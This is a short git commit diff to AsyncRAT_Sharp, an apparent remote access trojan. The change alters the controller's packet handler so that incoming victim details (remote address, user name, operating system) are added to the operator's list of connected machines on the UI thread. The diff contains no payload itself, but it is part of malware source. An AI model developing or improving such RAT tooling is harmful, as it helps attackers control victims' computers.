Update HandlePacket.cs

This commit is contained in:
NYAN CAT 2019-01-23 01:03:27 -08:00
parent a7f6c857b4
commit 94a33646a8

View File

@ -7,6 +7,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
class HandlePacket class HandlePacket
{ {
public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data);
public static void Read(Clients client, byte[] data) public static void Read(Clients client, byte[] data)
{ {
MsgPack unpack_msgpack = new MsgPack(); MsgPack unpack_msgpack = new MsgPack();
@ -14,15 +15,19 @@ namespace AsyncRAT_Sharp.Handle_Packet
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "ClientInfo": case "ClientInfo":
Program.form1.Invoke((MethodInvoker)delegate () if (Program.form1.InvokeRequired)
{ {
client.LV = new ListViewItem(); Program.form1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] { client, data });
client.LV.Tag = client; }
client.LV.Text = string.Concat(client.client.RemoteEndPoint.ToString()); else
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); {
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV = new ListViewItem();
Program.form1.listView1.Items.Insert(0, client.LV); client.LV.Tag = client;
}); client.LV.Text = string.Concat(client.client.RemoteEndPoint.ToString());
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Program.form1.listView1.Items.Insert(0, client.LV);
}
break; break;
} }
} }